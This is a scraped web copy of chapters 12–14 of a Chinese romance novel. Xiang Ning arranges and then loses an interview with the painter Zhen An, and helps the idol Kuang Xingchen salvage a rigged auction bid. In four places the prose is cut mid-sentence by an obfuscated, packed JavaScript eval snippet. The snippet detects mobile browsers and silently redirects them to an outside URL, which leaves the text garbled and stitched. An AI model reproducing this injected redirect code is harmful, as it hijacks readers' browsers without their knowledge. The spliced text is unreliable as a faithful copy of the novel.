枕安愣了愣,不置可否道:“先吃饭吧。”说完就回厨房忙活了。 向宁跟在他身后慢吞吞地挪着步子:“你说过你不喜欢接受采访,我知道的。可是……” 说到一半,她的手机又响了。 这次是默认铃声,不是别人,正是离她不到两米远的枕安打来的。 向宁拿着手机,和他大眼瞪大眼。 这是……什么意思? 枕安转过身来靠在案台边:“才反应过来,你好像给每个联系人都设置了不同的来电铃声。所以,想给你打个电话看看我的铃声是什么。” 电话尚未接通,默认铃声仍然响着。 枕安耸了耸肩:“原来……我没有这份殊荣啊。” “原来是这样,”向宁挂掉了电话,“这不是因为咱们才认识没多久嘛,我还不太了解你呢,所以一时想不到用什么铃声代表你比较合适。” “那就现在了解,现在想吧。” 他早就捕捉到了向宁介绍陶温身份时的那次停顿,于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14797493|158356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是精准复刻了她的语气。 “等你想出合适的答案,我们再来聊聊你……‘朋友’的采访。” 行吧,帮人帮到底,送佛送到西。 向宁一边头脑风暴,一边划拉着歌单,却久久没有头绪,只好上网搜了一份小学生同学录模版,略过个人信息部分,按顺序向枕安问道: “你有什么喜欢的歌吗?” “没有。” “喜欢的电影电视剧?” “没有。” “喜欢的明星?” “没有。” “座右铭?” “没有。” 一连问了七八个问题,答案都是“没有”。 直至被问到模板里的最后一个问题——你的梦想是什么?枕安才终于有了些不一样的反应,睫毛微微颤动起来。 他知道此刻应该将不合时宜的倾诉欲全部扼杀,尽量让自己看上去平静一点,再平静一点。 “已经实现了,”他的语气无比平淡,“我的梦想。” 向宁没有得到满意的答案,闷闷道:“你这是答非所问……” “你不是有读心术吗?”枕安故意揶揄她。 向宁平时并不吃激将法,今天却难得被勾起了胜负欲,猜测道:“你的梦想是——成为画家吗?” “不是。” 向宁以己度人,报出了第二种答案:“是赚大钱吗?” “不是。” “是身体健康,万事如意吗?” “不是。” “是找到soulmate吗?” “不是。” 向宁极力发挥自己的想象力,又挖掘出了几种答案,却通通被否决。 “你的读心术不准。”枕安无意识放松了表情管理,渐渐藏不住笑容。 早就跟你承认过我是骗子了! 向宁本想这样回击一句,却被枕安抢了先。 “我答应接受采访。”声音很轻,语气却是郑重的。 这么容易就成功了? 向宁有点不敢置信。 他不是亲口说过不喜欢接受采访的吗? 枕安像是读懂了她的疑惑,于是将问题反抛回去。 “祝璋姐应该跟你说过‘枕安脾气很怪’之类的话吧?” 向宁仔细回忆况星宸转述的内容,好像确实有这么一句。 “她说得对,我就是怪脾气。”枕安没有表情,语气也十分平淡,“昨天不喜欢接受采访,也许明天就喜欢了。今天懒得出门,也许后天就不懒了。” 是这样吗? 在和枕安面对面交流以前,向宁还以为“脾气怪”指的是他很难相处呢。 可是现在看来,他的“怪”反而有点给瞌睡虫送枕头的意味。 向宁不禁开起玩笑来:“真希望以后的每个合作对象都能学学你的怪脾气。” 枕安微微收敛了笑容,心道她这话说得未免太早。 “我的话还没说完呢,接受采访可以,不过是有条件的。” “什么条件?” 枕安直视着她的双眼思索片刻,故作满不在乎地耸了耸肩。 “怪人很饿,决定先吃饭,再谈条件。” 至于她的那位“朋友”嘛……就多点耐心,再等等吧。 12. 总有中间商赚差价 枕安的手艺果然不俗,速冻饺子带给向宁的阴霾终于一扫而空。 这顿午饭吃得略晚,她本来已经有点饿过劲了,却抵挡不了美味的诱惑,竟吃得比平时还多些。 谈完正事,枕安就去洗碗了,向宁正好得空,可以把最新消息转告给陶温。 “怎么样,怎么样?”陶温一开口便毫不掩饰心里的急切,“他答应了吗?” 向宁故意吊他胃口,慢条斯理道:“大胆逆臣,竟不跪接圣旨。” 陶温拿她没办法,只得把手机放在桌边,另一手握拳在桌面上敲了三下才回话:“微臣已经给您三跪九叩了,皇上您就大发慈悲,亲传口谕吧。我组长……不是,呃,尚书大人已经来催好几遍了。” 向宁见他配合,这才满意,笑着说道:“让尚书大人放心吧,枕安老师已经答应接受你的采访了。” “真的!”陶温的喜悦之情溢于言表,“宁宁,你可真是我的救星!” 向宁见他又见缝插针,改换了对自己的称呼,脸上的笑容顿时消失,不爽道:“区区冷宫废妃,怎可直呼天子名讳?” 陶温下意识便想回怼一句:陛下焉知冷宫废妃再无回宫之日? 幸好他嘴上有把门的,没把这话讲出来。 “罪臣斗胆,敢问陛下,采访之期定于何日?臣与枕安大人又该如何联络?” 向宁见他越演越上瘾,自己反而觉得没意思了,于是言简意赅道:“枕安老师提了三个要求,除非你全部接受,不然采访还是没戏。” “愿闻其详。” “第一条:如果你们要摄像或者拍照,画面中一律不能出现他的脸。正脸、侧脸、一丢丢脸都不行。至于他的声音嘛,也需要做失真处理。” 陶温有些为难:“我们毕竟是电视台,不是电台,更不是杂志。这个要求……感觉是在录隔壁法治频道的节目啊!就差搬一盆绿植做前景了。” “少废话,你就说接不接受吧。” 陶温一咬牙:“行,接受!” 能不能播、能播多少都另说,反正只要带人把素材拍下来,他的任务就算完成了。 “第二条:采访全程,向宁女士,即我本人,必须全程陪同在侧。” 枕安给出的理由是——他不习惯和陌生人相处,除非有熟人陪在旁边,哪怕全程一言不发,他也能轻松不少。 向宁当然愿意陪着,万一到时候陶温又问起和况星宸相关的问题,她也能及时应对。 陶温心里有些猜测,却没多问,犹豫了好一阵才有动静:“接受,继续说。” “第三条:采访内容需要聚焦于枕安老师本身,希望记者不要问与其他人相关的任何问题。” 陶温忍不住笑了一声。 “向宁女士,如果我没猜错,后两条要求都是你这个中间商赚的差价吧?” 向宁没多解释,只道:“陶温先生,如果你有本事绕开中间商,自己去谈生意,我又怎么赚得着您的差价呢?” 更何况前两条要求都是枕安自己提的,她自己只是以他的名义补了第三条。 小赚50%的利润而已,也没有很黑心吧? 何况枕安就在不远处,她说了什么他都能听见。既然没有提出异议,那就算是默认了。 “好,我接受。”至于能不能严格遵守第三条,那是另一回事,“可以告诉我采访时间和地点了吗?” “下周日,呈宝拍卖行有一场拍卖会,枕安老师有作品上拍,会去看看情况。下周六是预展的最后一天,他也会去看展。这两天都行,看你能搞到哪天的媒体入场名额咯。” “下周六吧,预展的名额相对好弄一点。” “OK,具体时间和地点你自己上官网搜,到了以后直接联系我。那……拜拜啦!” “等等,先别挂!” “还有事?” 向宁认真听着,陶温那边却没了声音。 “喂?”她出声确认通话是否中断。 半晌,向宁等得都有些无聊了,才听到陶温憋出来一句—— “谢谢你。” 说完立刻挂了电话,像是怕她再说出什么调侃他的话似的。 向宁没太把这事放心上,她现在最关心的还是下周六能不能被算入加班工时。 …… 预展当天,向宁刚走进展厅就发现况星宸也在现场,诧异之余又有点发愁。 只见他站在展厅最中心,打扮得跟开屏孔雀似的,身边围了一圈工作室员工。 向宁一看他假模假式对着艺术作品点头赞叹的样子就想笑,于是找了个眼熟的实习生——况星宸的助理小杨,向他询问情况。 原来况星宸又看上了粉丝帮他贴的“艺术家人格”标签,今天之所以大张旗鼓来看展,就是为了把这个人设立稳。 再过几个小时,各大娱乐论坛上就会接连出现“素人逛展偶遇况星宸”的帖子。当然,所谓的“偷拍照”都是团队成员自己拍的。 再问后续的营销计划,小杨就知之甚少了。 二人说话间,况星宸也注意到了向宁,心里觉得奇怪,不知道她怎么会突然出现在这里,便想问个清楚。 这里毕竟是公开场合,明里暗里的摄像头不少,他作为吃流量饭的idol自然得注意避嫌,不能跟年轻女性走得太近。 因此,况星宸不敢和向宁面对面交谈,只能选择电话沟通。 “你怎么来了?”他的声音很小,讲话时维持着标准的舞台笑容。 向宁在稍远的位置慢慢踱步:“来帮你善后。” 得知上次那位记者马上就要采访枕安,况星宸忽然轻蔑一笑,自信满满道:“您老人家用不着瞎操心,这事啊,我女……呃,那个谁早就帮我解决了。” 为防隔墙有耳,况星宸不敢直接说出“女朋友”三个字,反正他知道向宁听得懂。 “解决了?什么意思?” 况星宸神秘兮兮地笑道:“你用不着知道得那么清楚,把心放到肚子里就行。” 他越是志得意满,向宁越不敢放松警惕,唯恐再折腾出什么幺蛾子。 眼下约好的采访时间也快到了,向宁在展厅门口与陶温一行人会合,带他们来到了枕安的休息室。 那房间不算很大,工作人员有条不紊地忙碌着,一台台机器很快就架了起来。 枕安坐在桌边,镜头范围之外摆着一张沙发椅,那是给向宁留的位置。 “紧张吗?”她问。 枕安摇摇头:“没必要了。” 没必要……了? 一个看似多余的“了”字使向宁的心里冷不防打起鼓来,总觉得这个字含着她暂时参悟不透的弦外之音。 抬眼看看陶温,他正在跟同事沟通拍摄内容,似乎并无异样。 紧接着响起的电话铃声却打破了这份平静。 陶温接起电话,几秒后表情一滞,低声道:“稍等,我找个安静的地方再说。” 临出门前,他给向宁使了个眼色,示意她一起来。向宁本就好奇事情的走向,自然不会拒绝。 于是这通电话在僻静的楼梯间得以继续。 “为什么要取消采访?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14797494|158356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对面含糊其辞,给出的理由显然不能使陶温信服,向宁却对真正的原因有了猜测。 “您之前不是还……可是枕安老师已经答应……什么叫轮不到他做这个主?” 看来,能做这个主的就是人脉颇广的祝璋了。 “喂?喂!” 陶温还想再争辩几句,对方却懒得跟他啰嗦,直接挂断了电话。再打过去,只响一声就被对面拒接了。 陶温压抑着不甘的怒气,如自嘲般冷笑一声,想去走廊尽头的窗边呼吸些新鲜空气。走到一半,转身看见向宁仍不远不近地陪着他,心中不由稍觉安慰。 “我知道不是你使的绊子。”他尽量放平语气说道,“能告诉我是谁吗?” “知道了又能怎么样呢,和幕后黑手斗争到底?”向宁轻声劝道,“为了况星宸那点破事,犯不上。” “我不怕得罪人。”陶温靠在墙边,向窗外望去,那里是整条走廊唯一的光源,“我就是觉得憋屈。” 本以为已经成功走进了实现新闻理想的最高殿堂,没想到前路处处是低谷。 做不了真正想做的报道也就算了,岗位越调越往边缘走,手头上几个工作项的新闻价值还一山更比一山低。 现在可好,费那么大劲攒起来的鸡肋局也说散就散了,连问一句原因都得不到正面回答。 向宁背对着窗户,仿佛嫌那亮光刺眼:“看来你走的这条正路,也算不上宽阔平坦的阳光大道啊。” 看着陶温幽怨的眼神,她又补充道:“不是阴阳怪气,只是觉得唏嘘罢了。” “那你呢?”陶温与她眼神相接,“歪路走得顺畅吗,开心吗?” 向宁言无粉饰:“至少,数钱的时候是开心的。” 陶温不知道自己的笑意从何而来。不是被她逗笑的,也不是被她气笑的。 或许正如她所说的那样,只是唏嘘罢了。 回到休息室,陶温将采访取消的消息告诉众人。电视台的工作人员个个都感到意外,枕安却并未表现出惊讶的样子。 向宁不由回忆起他说的那句“没必要了”。 或许,他早就知道这场采访无法进行。 送走陶温一行人,她才关起门来打开天窗说亮话:“是祝璋通的路子?” 枕安表示默认。 向宁接着问道:“就为了帮况星宸?” “你不开心么?”枕安见她皱眉,有些不解,“不论主观上出于什么目的,祝璋姐这么做,在客观上都和你们站在了同一阵线,不是吗?” 向宁知道他说得对,可她仍然开心不起来。 “只是替她觉得不值罢了。” 回程路上,向宁又收到了况星宸发来的消息。他心情极佳,嘚瑟够了才说到正事。 [况星宸]明天陪我去参加拍卖会! [向宁]私人行程别叫我,除非你是去跟狗仔约架的。 [况星宸]不算私人行程,是宣发计划的一环。 向宁故意晾了他许久才回复。 [向宁]加班费怎么算? [况星宸]有品牌方送了几个轻奢包,你随便挑一个。 反正这些包的level不上不下,十分尴尬,讨好不到祝璋,他最近也没有暧昧对象可钓,不如送给身边的工作人员,还能省几份人情开支。 向宁把他发来的照片转给二手店的朋友,让对方帮忙挑出最贵的,直接在店里挂上了号。 估价超出三倍日薪许多,不亏。 [向宁]需要我做什么? [况星宸]别多问,你来了就知道了。 13. 拍卖局中局 拍卖会当日,况星宸带着经纪人刘哥、助理小杨,和向宁一起坐车前往会场,一路上紧锣密鼓地布置着任务。 “小杨,你负责把我参与竞拍的过程完整录下来。不用拍得太专业,但是画面一定要好看,着重突出我和这种高大上场合完美融合的气质,懂吗?” “懂。” “刘哥,拍卖会结束以后,肯定有很多娱记争着要来采访我,你就负责帮我对接一下,曝光度高的平台通通往前排!” “知道了,放心吧。” “向宁,你就负责帮我回答记者的问题。”况星宸把葡萄大小的收音麦别在衣领上,戴上迷你蓝牙耳机,“用这个唱双簧,比耳返方便多了。” 向宁帮他给收音麦换了个位置,藏在衣领内侧。 “这不难,可你总得给我交个实底吧?” 她到现在都不知道况星宸来参加拍卖会的目的是什么,又怎么能预判娱记的采访思路,帮他提前准备答案呢? “实底就是——” 况星宸故意拉长声音,向前倾身,直到成功惹得急性子的向宁拍了他一巴掌,他才心满意足地佯装吃痛,捂着膝盖回答了问题。 “我打算假装拍一幅画。” “假装?” “啧,这都不懂。”况星宸翘起二郎腿,“就是连续出价,但是最后被别人截胡。” “这么做有什么收益吗?” 况星宸难得有一次为向宁解惑的机会,不禁洋洋自得起来:“不但有收益,而且是一石二——不,三只鸟!” 向宁不敢太乐观,蹙眉道:“先说第一只。” “你想啊,别人参与竞投,要么电话委托,要么网络委托,要么让助理来现场,很少有亲自出席的。我呢?百忙之中还要抽出时间亲自走一趟,不正说明我对艺术的热爱无比真诚嘛!”况星宸挑起眉毛发出一声清脆的弹舌音,“人设立稳,计划通!” 向宁不以为然:“热爱艺术?谁家正经人参加拍卖会还自带摄影师啊?” 况星宸一撇嘴,苦脸道:“您老人家能有一次,不,一分钟,不,一句话,是不和我唱反调的吗?” “行行行,你接着说,第二只鸟。” 况星宸整理好表情,眼角眉梢又露出得意的样子来:“我拍不到想要的画,会表现得很失落。等娱记来采访的时候,你就帮我想好话术,暗示我是因为坚持做原创音乐,太烧钱了,所以最后一哆嗦时没舍得加价,才让别人截胡了。” 向宁听懂了他的第二层意思,估计是想让粉丝心疼他,暗地里集资给新专辑冲销量吧。 况星宸接着说:“至于第三只鸟嘛……我假装要拍的那幅画的作者呢,不是别人,正是枕安。我演这么一出,顺便也能让更多人相信之前咱们洗白抄袭那件事的说辞。” 向宁忍了忍,把唱反调的话咽了回去,只在心里吐槽道:事情明明已经遮掩过去了,还要再往上打补丁,不是更显得做贼心虚嘛…… “行,挺好的。我就一个问题,不算唱反调,能问吗?” 况星宸点点头。 “你怎么能确保最终有人比你出价高,不让你误拍到那副画?” “啧,这都不懂!”况星宸过足了传道解惑的瘾,现学现卖道,“很多作品上拍之前啊,有意向参与竞拍的人都是会私下拉群的。大家各自聊一聊心理价位,早就把底摸清楚了。” 向宁含着“恍然大悟”的微笑腹诽道:拉群?摸底?说得像模像样,不知道的还以为你要花几千万拍梵高莫奈的画呢! “所以,群里有几个人,最高的心理价位是多少?”她问。 “也就七八个人吧,最高115万。” 向宁一惊:“多少?” 115万? “我记得枕安的作品最高一次也只卖了五十来万吧,这次这幅画有什么特别的,竟然直接翻了一番?还有零有整的。” 况星宸的神情略显不屑:“能有什么特别的,碰上冤大头买主了呗!哈巴狗似的,为了巴结人,也忒舍得本钱了。” 向宁有点听不懂了:“巴结谁?” 况星宸忿忿道:“当然是我女朋友,他的顶头上司,他未来的狗主人咯!” 祝璋? 向宁很快想到,如果祝璋和枕安签了绑定合作,那么他每卖出一幅画,她应该都是能拿到分成的。 而且,分成比例一定不会低。 这样想来,她的下属花高价拍下枕安的画,岂不是在变相行贿吗? 况星宸见向宁的表情变得严肃起来,马上反应过来自己这张棉裤腰大嘴又说错话了,连忙岔开话题。 知道的内情越多,风险越大,向宁自然明白这个道理,于是也不深究他说漏嘴的话,只当自己听不懂。 一行人到达时,拍卖会很快就要开始了。 况星宸身份不够,没有休息室,便直接在会场落了座。 助理小杨已经找到合适的拍摄角度架好了录影设备,刘哥则被指派去和现场的各路记者“联络感情”。 至于向宁,况星宸怕她在会场显眼处待着容易露馅,便让她找个清净、隐蔽、能总览会场全貌的地方做好准备,时刻待命。 向宁转了一圈也没找到符合要求的地点,正在想辙,就被身后的人轻轻拍了拍肩膀。 她回身看去,那人比她高出半头,帽子、口罩、墨镜一应俱全,把脸遮得严严实实。 “看你在这里转悠很久了,是没地方坐么?” 那声音听着有些熟悉,向宁结合他的身形和肤色下了判断:“你是枕——” “嘘——” 他将一指竖在唇边,谨慎地向左右看了看,这才冲她点点头道:“不介意的话,可以去我的休息室坐坐。” “谢谢你哦,可惜我去不了,得找个便于观察现场状况的地方待着。”向宁朝况星宸所在的位置扔了个眼神,“喏,工作需要。” “休息室里也能看见会场。”枕安递给她一份拍卖会流程简表,“两个小时都未必能结束,你总不能一直站在这吧?” 他不说还好,一说向宁就觉得腿酸,是得找个地方好好养精蓄锐。 进入休息室,面前果然有两台显示屏。左边是对准拍卖官和大屏的固定机位,右边的画面则由工作人员控制,根据现场状况实时切换。 向宁坐在沙发上随手翻着这次拍卖会的宣传画册,有一搭没一搭地和枕安聊着天,时不时抬头看一眼屏幕。 拍卖官优雅大方,极其善于调动情绪,因而很快就吸引了向宁的注意力,看来接下来的两个小时并不会太枯燥。 随着一次次落锤声响起,流程推进过半,下一件拍品就是枕安的画了。 拍卖官简单介绍了作品信息,柔声道:“Andstartinghereat,十万起拍,onehundredthousand!” “现在是十五万,twohundredthousand,二十五万,三十万……” 起初价格抬得很快,有五六个人先后举牌。价格抬到五十万以后,就只剩下两个人打车轮战了。 “五十五万,六十万,六十五万,有人更高吗,七十万……” 向宁悄悄观察枕安的反应,不料他根本没有反应。尽管 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14797495|158356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拍卖官口中的数字一路飙升,他却依旧面无表情,只管从茶几上的果盘里挑橘子吃。 偶然与向宁目光相撞后,枕安还当她是想吃水果却不好意思主动拿,于是放下叉子,把果盘往她坐的方向推了推,同时因自己一直在吃独食而有些赧然。 “现在是七十五万,到杜先生。有没有人再加一口?” 向宁的注意力冷不防被拉了回去。 杜先生? “好的,八十万,eighthundredthousand,回到况先生。” 右边的显示屏不断切换画面,一会是况星宸,一会是一位西装革履的年轻人。 “现在八十五万,又回到杜先生手上。” 他大约就是况星宸口中打算向祝璋变相行贿的那人了。 向宁咬了一口草莓,语气中不无调侃:“看来这位‘杜先生’真的很喜欢你的画啊,要下血本了。” “他?”枕安不置可否,没有继续说下去。 不过,紧接着那一声冷哼却表明枕安不但认识那人,而且对他持明显的负面态度。 向宁斟酌片刻,觉得接下来这个问题应该不算越界,便放心问道:“他什么来头啊?” “也算是祝家人吧。”枕安顿了顿,又补充一句,“是祝璋姐她父亲的干儿子,听说是当半个亲儿子养大的,叫杜琮。” “喔。” 既然有这一层关系在,也许那一百多万并不是为了行贿,而是一种表态?是为了示好,还是站队? 向宁扭头去看显示屏,价码已经被况星宸叫到了九十万。 “好的,杜先生加到九十五万,回到您手里。” “怎么样,况先生,要不要再加一口,到一百万?要吗?” 拍卖官的声音温柔有力,仿佛带着蛊惑人心的力量。 “再考虑一下?九十五万,现在仍然在杜先生手上。” 况星宸开始表演纠结了。演技丝毫没有进步,便秘的表情在脸上挂了许久,几秒之后终于畅通了,微笑着举起号牌。 “好的,一百万回到况先生。Onemillion,Mr.Kuang!” 杜琮立刻举牌,似乎对这件拍品志在必得。 此刻价格已经被叫到一百零五万,距离他早先讲好的心理价位还有十万空间,况星宸当然不会放过最后一轮表演机会。 他拖了半晌,赶在木锤落定之前猛地举起号牌。 “一百一十万,况先生,回到您手里。”拍卖官嫣然含笑,将目光转向杜琮,“要不要再加一口,一百一十五万,要试试吗?” 摄像机的镜头也对准了杜琮,向宁看着他脸上愈发明显的微笑,忽然产生了一种不祥的预感。 “Alllookingatyou,要再加吗?”拍卖官继续引导,“Youalmostownit.” 几秒等待后,镜头忽然移向况星宸,他这时也意识到了不对,很明显在强装镇定,面部肌肉摆放得非常不自然。 向宁连忙切进蓝牙通话,对他嘱咐道:“注意表情管理,如果对手不再加价,你就拍到想要的画了,必须表现得兴奋一点!苦着张脸算什么?” 显示屏上,况星宸摸了摸蓝牙耳机,硬挤出来一个皮笑肉不笑的表情。 镜头再度切到杜琮,在拍卖官的温柔追问下,他终于摆了摆手,示意不再加价。 他的脸上一直挂着笑容,表情没有大幅度的变化,唯有目光偶尔移动。 直觉混杂着职业嗅觉,使向宁敢于断言——杜琮刚才向况星宸看去的时候,嘴角的微笑分明多了一丝得意的嘲讽。 14. 补救措施 镜头已经切走,向宁看不见况星宸的表情,不知道他处于什么状态,只能连声安抚,想尽量帮他控制情绪。 这次况星宸多半是被杜琮摆了一道,虽然还不清楚原因,但是千万不能当众做出过激举动来,否则不是中了连环计么? 耳机里不断传来况星宸用气声骂出的脏话,夹带着杜琮的整本族谱。 向宁了解他的脾气,这么好面子的人,宁可打肿脸充胖子,也不可能弃车保帅放弃交易,赔完保证金就拉倒。 今天白白损失一百余万,况星宸肯定不会善罢甘休。可他又没能力报复杜琮,八成会迁怒于身边的工作人员,可怜的助理小杨首当其冲,挨打挨骂都是常事了。 更令人头疼的是,况星宸每次心情极差时,不是出去到处乱喝,就是约人四处乱睡。今天被人坑了一把大的,保不齐他还要一脚踏上这两条解压之船呢。 不行,得想想办法。 向宁灵机一动,飞快点开手机日历确认自己的想法。 1月15号,况星宸粉丝后援会的成立纪念日。 五万的距离,一次举牌的距离。 可是,这个理由真的足以说服他吗?这个补救措施带来的微薄红利真的足以平息他的怒气吗? “我还以为杜琮会再加五万呢。”沉默了许久的枕安忽然开口。 “为什么?” “11月5号是祝璋姐的生日,杜琮经常玩这种数字游戏。” 来不及细究这句话背后的八卦信息量了,向宁火速在网上查证了这个日期,同时斩钉截铁地对况星宸说:“再举一次牌!” “什么?”况星宸咬着牙,维持着开口微笑的表情,压低声音道,“我有病啊我?钱多烧的?” 二人争执之际,拍卖官仍在为最后的抬价空间做着努力,正在跟杜琮确认:“确定放弃吗?完全确定吗?差一点就是您的了,现在是况先生的。” “你不差这五万块钱,再举一次!”向宁的语速极快,“回头解释,没时间了!” 与此同时,拍卖官已经开始对杜琮表示遗憾,并准备举起拍卖锤:“OK,感谢您的竞投。一百一十万到况——哦,wait!” 镜头切到况星宸,只见他又一次举起了号牌。 “是要再加一口吗?再加五万?”拍卖官脸上露出意外的喜色,反复确认他的最终意向,“加到一百一十五万,确定吗?刚才已经是您的了,还要再加一口是吗?” 况星宸坚定地点点头。 拍卖锤落下的那一刻,况星宸听到蓝牙耳机里传来向宁平静的声音—— “反正这笔钱是非花不可了,不如让它发挥最大的价值。” 声音极轻,极低,宛若附在他耳边的一句私语。 又或者,她本来就是在自言自语。 况星宸想立刻找她问个明白,刚准备起身,就听到向宁说:“不要提前离场,注意风度。” 于是,起身的准备动作就以一种奇怪的形式,过渡成了调整坐姿的动作。 镜头一切走,况星宸的表情就冷了下来:“解释吧。” 向宁离开休息室,往卫生间的方向走去,走廊很昏暗,时而有人走动。 “你女朋友的生日是几月几号?”她小声问。 “好像是十一月吧,具体几号……”况星宸记不太清,但他知道向宁问这个问题一定意有所指,再联想到当下的处境,不难猜出答案,“五号?” 向宁默认,又问起:“你还记得你的粉丝后援会是哪天成立的吗?” 况星宸懒得回忆了:“不会也是十一月五号吧?” “是一月十五号!”就知道他记不住,“怎么样,明白了吗?” “有点意思,看来我和她还真有缘。” “少说两句吧大哥,现在没有镜头妨碍你玩手机,周围的耳朵倒是数不清呢。” 向宁暂时切出了通话,况星宸也只好收声,摸出手机一看,她已经发来了几串文字消息。 [向宁]小杨拍的视频素材别用公司养的路人号发,剪成vlog,用你自己的号发。 [向宁]回头再补拍一点素材,就说你来参加拍卖会是专程来给粉丝买礼物的,顺便支持一下朋友的艺术事业,将来会以粉丝的名义把这幅画捐赠给规模较大的美术馆。 [况星宸]不是,这礼物也太贵了吧!!! [向宁]抠死你算了,拍两集电视剧不就赚回来了? [况星宸]三集好吧,我不交税的吗?现在又不比以前了。 向宁一贯受不了他卖惨哭穷,趁他看不见狠狠翻了个白眼——装什么装?平时他买一只手表都不止这个价了。 [向宁]给粉丝的礼物嫌贵,给你女朋友总不嫌贵吧?明天就是她的生日了。 况星宸想了想,那画上画的是两只相互依偎的小猫,确实有点情侣间的氛围感,送女朋友挺合适的。 [况星宸]行吧,舍不得孩子套不着狼。 [况星宸]但是那个姓杜的,我不可能就这么放过他!!! [况星宸]这笔钱,我要么踩着他的脑袋挣回来,要么也设个局,让他赔一波更大的! 向宁只敷衍应付他两句,随后在团队群里讲清了后续方案的各项细节,工作人员立刻开始分工准备。 向宁长出一口气,去洗手台边洗了把脸。 嗒,嗒,嗒…… 高跟鞋的声音由远及近,混入了水流声中。 不多时,便有一人路过向宁的身后,慢悠悠走进了里间,留下一股似曾相识的香水味。 向宁才洗过脸,不大睁得开眼睛,睫毛上还挂着水珠,实在看不清来人的长相,朦胧间只觉得眼熟。 镜子里的窈窕身影匆匆而过,长至脚踝的丝绒红裙一看就价值不菲。 向宁很快想起一个名字,片刻后又在心里摇摇头,否定了自己的猜测。 不会是她。这个时候,她应该还在剧组拍戏呢,没理由出现在这里。 向宁擦干了脸,一边回复工作群里的消息一边往回走,渐渐被嘈杂的人声影响,停住了步伐。 奇怪,几分钟前走廊里还安安静静的,现在怎么突然冒出来这么多人? 更奇怪的是,他们居然都围在枕安的休息室门口。有人在左右张望,有人在接打电话,有人在pad上涂涂写写,还有人在静静等待。 向宁走上前去,大声提醒:“不好意思,各位,麻烦让一下。” 众人闻声,果然配合着让出一条通路。 向宁靠在门板上,微笑着问:“各位守在这里是有什么事吗?” 一位年轻女士率先开口:“您好,我是《ART》杂志的专栏记者,请问这里是枕安老师的休息室吗?” 其余几人也不甘落后,纷纷自报家门——除当代艺术报、书画拍卖网、藏品鉴赏杂志等各方面记者以外,竟还有几家大学的社团骨干。 向宁才搞清状况,身后的门就从里面打开了。她没来得及调整重心,直直往后一靠,被枕安揽了一把才站稳。 “原来有人在啊。”众人你看看我,我看看你, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14797496|158356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “刚才我们敲门没人开,还以为枕安老师不在呢。” 枕安用生硬的语气答道:“你们找错房间了,这里没有什么老师。” 说完,他便握住向宁的手,把她拉进了门内。 向宁回头一看,枕安不知什么时候又戴上了帽子墨镜口罩三件套。 门口几人互相核对了一下房间信息,确认并没有找错,还是那位年轻女士领头道:“不会占用枕安老师很多时间的,我们主要是想针对今天拍卖的结果——” “各位,不好意思。”向宁从裤子口袋里拿出自己的工卡,捂住名字给众人展示了一圈,“星桥娱乐,这里是我们家艺人的休息室。麻烦各位还是再跟信息源确认一下吧,你们要找的……郑?安?确实不在这里。” 众人看到她的工卡,便对这番说辞有七八分相信了。再看她身后那个身材高挑,脸部全副武装的年轻人,的确也有点小牌大耍的十八线艺人做派。于是各自道了几句抱歉打扰,一个接一个离开了。 向宁关上门,晃了晃自己仍被枕安握住的那只手,笑道:“你手劲有点大。” “抱歉。”枕安立即松开手,只是指尖止不住微颤,干脆握紧了拳头,“还有,谢谢。” 他摘下口罩,猛灌了几口热茶,向宁这才发现他的嘴唇有些发白。 “身体不舒服吗?” 枕安摇头否认:“只是……不喜欢和陌生人接触。” 向宁颇感意外:“反应这么大啊……” 这可不像是普通的“不喜欢”造成的。 枕安又倒了一杯茶,小口抿着。 “你回来了,就好很多。” 说完静了两秒,他突然意识到这话容易产生暧昧的误会,忙解释道:“不是,我是说——” “行了,不用打补丁。”向宁失笑,“知道你没有那个意思。” 没有被人误解,枕安觉得自己应该感到开心。可是挤出一个笑容后,他又觉得这个表情并不是自己内心的真实写照。 咚咚咚。 突如其来的敲门声打断了枕安的自我剖析。 向宁拍了拍他的手背以示安抚:“没事,我来挡。” 咚咚咚。 “请问有人在吗?” 